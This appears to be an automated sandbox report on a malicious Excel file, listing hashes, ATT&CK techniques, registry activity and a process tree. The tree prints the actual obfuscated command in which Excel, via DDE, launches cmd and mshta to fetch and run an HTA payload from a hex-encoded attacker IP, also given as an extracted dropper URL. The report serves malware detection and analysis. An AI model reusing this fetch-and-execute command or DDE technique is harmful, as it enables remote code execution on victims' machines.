ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:48

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General

Target

ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls
Size

142KB
MD5

cf35dd57ccc743ae5aef84255b30ef70
SHA1

0d39383fe20e21a41174191976386b1d93c51ddd
SHA256

ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7
SHA512

c3c2652136fac4be4b3d8dcbf0e782379a17427e5758e1ae3bee12b86bd21b677c4e1ca366d2f923a2610d1212a45ef36e4a600eca38ad7e48b04fc73d92028b
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2216	1232	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

4 2832 mshta.exe
7 2832 mshta.exe

flow	pid	process
4	2832	mshta.exe
7	2832	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.exeEXCEL.EXEcmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1232 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1232 EXCEL.EXE
1232 EXCEL.EXE
1232 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1232	EXCEL.EXE

pid	process
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1232 wrote to memory of 2344	1232	EXCEL.EXE	splwow64.exe
PID 1232 wrote to memory of 2344	1232	EXCEL.EXE	splwow64.exe
PID 1232 wrote to memory of 2344	1232	EXCEL.EXE	splwow64.exe
PID 1232 wrote to memory of 2344	1232	EXCEL.EXE	splwow64.exe
PID 1232 wrote to memory of 2216	1232	EXCEL.EXE	cmd.exe
PID 1232 wrote to memory of 2216	1232	EXCEL.EXE	cmd.exe
PID 1232 wrote to memory of 2216	1232	EXCEL.EXE	cmd.exe
PID 1232 wrote to memory of 2216	1232	EXCEL.EXE	cmd.exe
PID 2216 wrote to memory of 2832	2216	cmd.exe	mshta.exe
PID 2216 wrote to memory of 2832	2216	cmd.exe	mshta.exe
PID 2216 wrote to memory of 2832	2216	cmd.exe	mshta.exe
PID 2216 wrote to memory of 2832	2216	cmd.exe	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1232-1-0x000000007212D000-0x0000000072138000-memory.dmp

Filesize
44KB

Download
memory/1232-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1232-2-0x000000007212D000-0x0000000072138000-memory.dmp

Filesize
44KB

Download